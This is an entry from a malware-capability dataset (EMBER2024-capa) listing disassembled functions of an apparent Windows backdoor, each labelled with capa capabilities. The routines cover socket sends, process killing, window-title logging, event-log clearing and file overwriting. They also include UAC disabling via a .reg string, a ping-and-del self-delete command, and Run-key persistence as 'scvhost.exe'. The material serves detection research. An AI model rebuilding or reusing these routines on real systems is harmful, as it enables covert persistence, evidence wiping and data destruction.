joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000198a
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
push edi
push esi
mov edi, ecx
push ebx
call fcn.1000196a
and dword [ebp - 4], 0
mov dword [ebp - 8], ebx
mov ebx, dword [ebp + 0x10]
pop ecx
mov dword [ebp + 8], esi
cmp esi, ebx
mov esi, dword [sym.imp.WS2_32.dll_send]
pop ecx
jb 0x100019f2
and dword [ebp + 0x10], 0
push 0
push ebx
push dword [ebp - 8]
push dword [edi + 0x48]
call esi
test eax, eax
jg 0x100019d6
inc dword [ebp + 0x10]
cmp dword [ebp + 0x10], 0xf
jl 0x100019be
cmp dword [ebp + 0x10], 0xf
je 0x10001a20
add dword [ebp - 4], eax
add dword [ebp - 8], ebx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub dword [ebp + 8], ebx
cmp dword [ebp + 8], ebx
jae 0x100019ba
xor ebx, ebx
cmp dword [ebp + 8], ebx
jle 0x10001a18
push 0
push dword [ebp + 8]
push dword [ebp - 8]
push dword [edi + 0x48]
call esi
test eax, eax
jg 0x10001a10
inc ebx
cmp ebx, 0xf
jl 0x100019f9
cmp ebx, 0xf
je 0x10001a20
add dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
je 0x10001a23
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x10001be7
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
xor ebx, ebx
push edi
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [ebp - 0x128]
push eax
push edi
mov dword [ebp - 0x128], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10001c58
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10001c4f
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call fcn.10009fc0
pop ecx
test eax, eax
pop ecx
jne 0x10001c19
mov ebx, dword [ebp - 0x120]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop ebx
leave
ret

Function at 0x10001c5c
Capabilities:
Set file attributes

Disassembly:
cmp byte [esp + 8], 0
je 0x10001c67
push 6
jmp 0x10001c6c
push 0x80
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
ret
Function at 0x100029de
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [ebp + 8]
push ebx
push eax
push 0xec1
push 0x1002413c
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10002a18
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
pop ebp
ret

Function at 0x10002a25
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [ebp + 8]
push ebx
push eax
push 0xb
push 0x10025000
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10002a5c
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
pop ebp
ret

Function at 0x10002a69
Capabilities:
Get common file path
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
xor esi, esi
push edi
push esi
lea eax, [ebp - 0x108]
push 0x1c
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
push str._._mnbvcxz_lkjhgfdsa__poiuytrewq
push eax
call fcn.10009e90
lea eax, [ebp - 0x108]
push 0x1004347a
push eax
call fcn.10009e90
lea eax, [ebp - 0x108]
push str..dat
push eax
call fcn.10009e90
add esp, 0x18
lea eax, [ebp - 0x108]
push esi
push 0x80
push 4
push esi
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push esi
push edi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x10002af9
push 2
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 4]
push esi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
leave
ret
Function at 0x10002b1d
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
mov ebx, 0x400
push edi
push ebx
mov esi, 0x10048b2c
push 0
push esi
call fcn.10009c20
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push ebx
push esi
push eax
mov dword [0x1004932c], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
and byte [ebp - 0x414], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x413]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
and dword [ebp - 4], 0
stosb byte es:[edi], al
mov edi, 0x10048f2c
push edi
push esi
call fcn.10009fc0
pop ecx
test eax, eax
pop ecx
je 0x10002bf8
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x10002bed
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push eax
movzx eax, word [ebp - 0xc]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x12]
push eax
movzx eax, word [ebp - 0x14]
push eax
push esi
lea eax, [ebp - 0x414]
push str._r_n_r_n_r_n_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x414]
push eax
call fcn.10002a69
push ebx
lea eax, [ebp - 0x414]
push 0
push eax
call fcn.10009c20
add esp, 0x34
mov dword [ebp - 4], 1
push ebx
push esi
push edi
call fcn.100093a0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10002e3c
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov eax, 0x1001d188
call fcn.10009bf4
sub esp, 0x170
mov al, byte [ebp + 0xb]
push ebx
push esi
xor ebx, ebx
push edi
push ebx
lea ecx, [ebp - 0x1c]
mov byte [ebp - 0x1c], al
call fcn.1000305b
push dword [ebp + 8]
call fcn.1000a080
pop ecx
push eax
lea ecx, [ebp - 0x1c]
push dword [ebp + 8]
call fcn.10003097
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], ebx
lea esi, [eax - 1]
cmp eax, esi
ja 0x10002e87
call fcn.100144a9
lea ecx, [ebp - 0x1c]
call fcn.1000302f
mov eax, dword [ebp - 0x18]
cmp byte [eax + esi], 0x5c
je 0x10002ea4
push 0x5c
push 1
lea ecx, [ebp - 0x1c]
call fcn.10002fd6
lea eax, [ebp - 0x1c]
push 0x1002859c
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.1000320e
mov eax, dword [eax + 4]
add esp, 0xc
cmp eax, ebx
mov esi, 0x1001e4d4
jne 0x10002ec7
mov eax, esi
lea ecx, [ebp - 0x17c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 1
lea ecx, [ebp - 0x2c]
mov edi, eax
call fcn.1000305b
cmp edi, 0xffffffff
je 0x10002faf
test byte [ebp - 0x17c], 0x10
je 0x10002f56
lea eax, [ebp - 0x150]
push 0x100276e0
push eax
call fcn.1000e600
pop ecx
test eax, eax
pop ecx
je 0x10002f87
lea eax, [ebp - 0x150]
push 0x10028598
push eax
call fcn.1000e600
pop ecx
test eax, eax
pop ecx
je 0x10002f87
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.1000320e
add esp, 0xc
mov eax, dword [eax + 4]
mov byte [ebp - 4], 1
cmp eax, ebx
jne 0x10002f45
mov eax, esi
push eax
call fcn.10002e3c
pop ecx
mov byte [ebp - 4], bl
push 1
lea ecx, [ebp - 0x2c]
jmp 0x10002f82
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.1000320e
mov eax, dword [eax + 4]
add esp, 0xc
cmp eax, ebx
jne 0x10002f76
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 1
lea ecx, [ebp - 0x3c]
call fcn.1000305b
lea eax, [ebp - 0x17c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10002eea
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov bl, 1
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x1c]
call fcn.1000305b
mov ecx, dword [ebp - 0xc]
pop edi
mov al, bl
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x10003451
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov eax, 0x1001d1c4
call fcn.10009bf4
sub esp, 0x12c
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 2
mov dword [ebp - 4], ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [ebp - 0x138]
push eax
push edi
mov dword [ebp - 0x138], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x10003497
or dword [ebp - 4], 0xffffffff
jmp 0x1000355f
lea ecx, [ebp + 8]
call fcn.1001865e
lea eax, [ebp - 0x138]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
or esi, 0xffffffff
test eax, eax
je 0x10003553
lea eax, [ebp - 0x114]
lea ecx, [ebp - 0x10]
push eax
call fcn.100183fb
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.1001865e
push dword [ebp + 8]
push dword [ebp - 0x10]
call fcn.1000a545
pop ecx
test eax, eax
pop ecx
je 0x10003506
push esi
lea ecx, [ebp - 0x10]
call fcn.10018616
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call fcn.100183d1
lea eax, [ebp - 0x138]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
jmp 0x100034af
push dword [ebp - 0x130]
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
lea ecx, [ebp - 0x10]
call fcn.10018616
push esi
lea ecx, [ebp + 8]
call fcn.10018616
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call fcn.100183d1
lea ecx, [ebp + 8]
mov dword [ebp - 4], esi
call fcn.100183d1
push 1
pop eax
jmp 0x10003569
push esi
lea ecx, [ebp + 8]
call fcn.10018616
mov dword [ebp - 4], esi
lea ecx, [ebp + 8]
call fcn.100183d1
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x10003578
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x110c
call fcn.10009c80
push ebx
push esi
push edi
push 0x800
call fcn.10009cf4
mov esi, 0x104
mov dword [ebp - 4], eax
push esi
push 0
push eax
call fcn.10009c20
and byte [ebp - 0x90c], 0
mov edx, 0x1ff
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x90b]
and byte [ebp - 0x110c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x110b]
add esp, 0x10
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ebx, str.CTXOPConntion_Class
push 0
push ebx
stosb byte es:[edi], al
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
mov dword [ebp - 8], eax
je 0x100036ac
and byte [ebp - 0x10c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x10b]
push esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_GetClassNameA]
lea eax, [ebp - 0x10c]
push ebx
push eax
call fcn.10009fc0
pop ecx
test eax, eax
pop ecx
jne 0x1000369c
cmp dword [ebp - 8], eax
je 0x10003641
lea eax, [ebp - 0x90c]
push esi
push eax
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x90c]
push eax
call fcn.1000a080
pop ecx
dec eax
cmp byte [ebp + eax - 0x90c], 0x5f
jne 0x1000364e
lea eax, [ebp + eax - 0x90b]
push eax
lea eax, [ebp - 0x110c]
push eax
call fcn.10009e80
pop ecx
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x1000368b
push 0x100285a4
push dword [ebp - 4]
call fcn.10009e90
pop ecx
pop ecx
lea eax, [ebp - 0x110c]
push eax
push dword [ebp - 4]
call fcn.10009e90
pop ecx
pop ecx
push 2
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_GetWindow]
jmp 0x100035e5
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
pop edi
pop esi
test eax, eax
pop ebx
jne 0x100036cb
push 0x100285a0
push dword [ebp - 4]
call fcn.10009e80
pop ecx
pop ecx
mov eax, dword [ebp - 4]
leave
ret
Function at 0x10003787
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push ebx
push esi
push edi
push 0x100285c8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ax, word [0x10048b22]
xor ebx, ebx
cmp ax, bx
je 0x10003876
push ebx
push 0x80
push 4
push ebx
push 2
push 0x40000000
push dword [ebp + 8]
movzx esi, ax
shl esi, 0xa
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
mov dword [ebp - 8], edi
je 0x10003876
push 2
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, esi
shl ecx, 0xa
cmp ecx, eax
jbe 0x1000386d
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x40b]
mov byte [ebp - 0x40c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
cmp esi, ebx
mov dword [ebp - 0xc], ebx
stosb byte es:[edi], al
mov dword [ebp - 4], ebx
jbe 0x1000386d
mov edi, 0x400
test word [ebp - 4], 0x3ff
jne 0x1000384f
mov dword [ebp + 8], ebx
call fcn.1000a5f4
add al, byte [ebp + 8]
mov ecx, 0xff
movsx eax, al
cdq
idiv ecx
mov eax, dword [ebp + 8]
inc dword [ebp + 8]
cmp dword [ebp + 8], edi
mov byte [ebp + eax - 0x40c], dl
jl 0x1000382a
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x40c]
push edi
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc dword [ebp - 4]
cmp dword [ebp - 4], esi
jb 0x1000381f
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10003b49
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
movzx eax, byte [ebp + 8]
dec eax
mov dword [ebp - 0xc], str.Application
mov dword [ebp - 8], str.Security
mov dword [ebp - 4], str.System
je 0x10003b96
dec eax
je 0x10003b8b
dec eax
je 0x10003b7e
dec eax
jne 0x10003bc8
mov eax, 0x10049638
mov dword [ebp - 8], eax
jmp 0x10003b86
mov eax, 0x10049638
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
jmp 0x10003b96
mov eax, 0x10049638
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 3
lea edi, [ebp - 0xc]
pop ebx
push dword [edi]
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov esi, eax
test esi, esi
je 0x10003bbf
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
add edi, 4
dec ebx
jne 0x10003b9f
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10003bca
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [ebp + 8]
push ebx
push eax
push 0xf5
push str.Windows_Registry_Editor_Version_5.00____r_n____r_n_HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem_____r_n_EnableLUA_dword:00000000_r_n_r_n::
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10003c04
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
pop ebp
ret
Function at 0x10003e02
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov eax, 0x1001d200
call fcn.10009bf4
sub esp, 0x12c
push ebx
push esi
xor ebx, ebx
push ebx
push 2
mov dword [ebp - 4], ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x10003edf
lea eax, [ebp - 0x138]
mov dword [ebp - 0x138], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10003ed8
lea eax, [ebp - 0x114]
lea ecx, [ebp - 0x10]
push eax
call fcn.100183fb
push dword [ebp + 8]
push dword [ebp - 0x10]
call fcn.1000a616
pop ecx
test eax, eax
pop ecx
je 0x10003e98
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call fcn.100183d1
lea eax, [ebp - 0x138]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10003ed8
lea eax, [ebp - 0x114]
lea ecx, [ebp - 0x10]
push eax
call fcn.100183fb
jmp 0x10003e5a
push dword [ebp - 0x130]
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
je 0x10003ebc
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call fcn.100183d1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.100183d1
push 1
pop eax
jmp 0x10003eed
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.100183d1
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x10003efb
Capabilities:
Create process on windows
Create process suspended
Get comspec environment variable
Query environment variable
Resume thread
Self delete
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x364
push ebx
push esi
push edi
push str.c:del
call fcn.10002a25
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp], 0x1f4
call edi
mov ebx, str.C:ProgramDataMicrosoftEdgeUpdateLogdel.bat
push ebx
call fcn.100029de
pop ecx
xor esi, esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x1f4
call edi
push ecx
mov edi, str.microsoft.exe
mov ecx, esp
mov dword [ebp - 4], esp
push edi
call fcn.100183fb
call fcn.10003e02
mov ecx, esp
mov dword [ebp - 4], esp
push edi
call fcn.100183fb
call fcn.10003e02
pop ecx
mov edi, 0x104
lea eax, [ebp - 0x15c]
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x10003fac
lea eax, [ebp - 0x15c]
push edi
push eax
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x10003fac
lea eax, [ebp - 0x364]
push edi
push eax
push 0x100286a8
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x10003fb3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
lea eax, [ebp - 0x15c]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x260]
push str.__c_ping__n_2_127.0.0.1___nul__del
push eax
call fcn.10009e80
lea eax, [ebp - 0x15c]
push eax
lea eax, [ebp - 0x260]
push eax
call fcn.10009e90
lea eax, [ebp - 0x260]
push str.___nul
push eax
call fcn.10009e90
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x364]
push eax
call fcn.10009e90
add esp, 0x20
xor eax, eax
lea edi, [ebp - 0x54]
mov dword [ebp - 0x14], esi
push 0x10
pop ecx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x10]
push pe_nt_image_headers32
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x58], 0x44
mov dword [ebp - 0x2c], 1
mov word [ebp - 0x28], si
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call edi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov ebx, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call ebx
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push esi
push esi
push 4
push esi
push esi
lea eax, [ebp - 0x364]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1000409a
push 0x40
push dword [ebp - 0x14]
call edi
push 0xfffffffffffffff1
push dword [ebp - 0x10]
call ebx
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 1
pop eax
jmp 0x10003fae
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x100040b6
Capabilities:
Create process on windows
Terminate process

Disassembly:
call fcn.10003efb
push 0
push str.cmd__c_echo._c:del__exit
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x100042c4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d8
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x170
lea eax, [ebp - 0x2d8]
push esi
push eax
call fcn.100093a0
add esp, 0xc
xor ebx, ebx
xor eax, eax
lea edi, [ebp - 0x167]
push 0x59
mov byte [ebp - 0x168], bl
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 2
push ebx
stosb byte es:[edi], al
push 1
lea eax, [ebp - 0x1cc]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10004340
lea eax, [ebp + 8]
push ebx
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffe90
add esi, 0x170
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10004347
xor eax, eax
jmp 0x100043cd
push edi
call dword [0x10049a84]
lea eax, [ebp - 0x2d0]
push eax
call fcn.1000a080
test eax, eax
pop ecx
je 0x10004384
lea eax, [ebp - 0x2d0]
push eax
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x168]
push str._s__s
push eax
call dword [0x10049ad4]
add esp, 0x10
jmp 0x10004398
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x2d4]
sub eax, ebx
je 0x100043ba
dec eax
je 0x100043b7
dec eax
dec eax
jne 0x100043ca
lea eax, [ebp - 0x168]
push eax
call fcn.100040b6
jmp 0x100043c9
push ebx
jmp 0x100043bc
push 5
lea eax, [ebp - 0x168]
push eax
call fcn.100040d0
pop ecx
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000467c
Capabilities:
Copy file
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
and byte [ebp - 0x164], 0
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x163]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ebx, 0x104
lea eax, [ebp - 0x164]
push ebx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xa
mov esi, str.C:Program_FilesCommon_Files_scvhost.exe
pop ecx
lea edi, [ebp - 0x60]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0xc
xor eax, eax
pop ecx
lea edi, [ebp - 0x36]
rep stosd dword es:[edi], eax
xor esi, esi
lea eax, [ebp - 0x60]
push esi
push eax
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 4]
push eax
push 0xf003f
push esi
push 0x10028780
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000471f
lea eax, [ebp - 0x164]
push ebx
push eax
push 1
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor al, al
pop ebx
leave
ret
Function at 0x10004d77
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [ebp + 8]
push ebx
push eax
push 0x1f53
push 0x100255c4
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10004db1
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
pop ebp
ret

Function at 0x10004e91
Capabilities:
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push edi
mov dword [ebp - 0xc], ecx
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x10f]
mov byte [ebp - 0x110], bl
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x110]
push 0x1c
push eax
push ebx
mov dword [ebp - 8], ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x110]
push str._._mnbvcxz_lkjhgfdsa__poiuytrewq
push eax
call fcn.10009e90
lea eax, [ebp - 0x110]
push 0x1004347a
push eax
call fcn.10009e90
lea eax, [ebp - 0x110]
push str..dat
push eax
call fcn.10009e90
add esp, 0x18
lea eax, [ebp - 0x110]
push ebx
push 0x80
push 3
push ebx
push 1
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x10004f5e
push esi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call fcn.10009cf4
pop ecx
mov esi, eax
lea eax, [ebp - 8]
push ebx
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 0xc]
push edi
push esi
call fcn.10004e47
push esi
mov ebx, eax
call fcn.1000938e
pop ecx
pop esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop ebx
leave
ret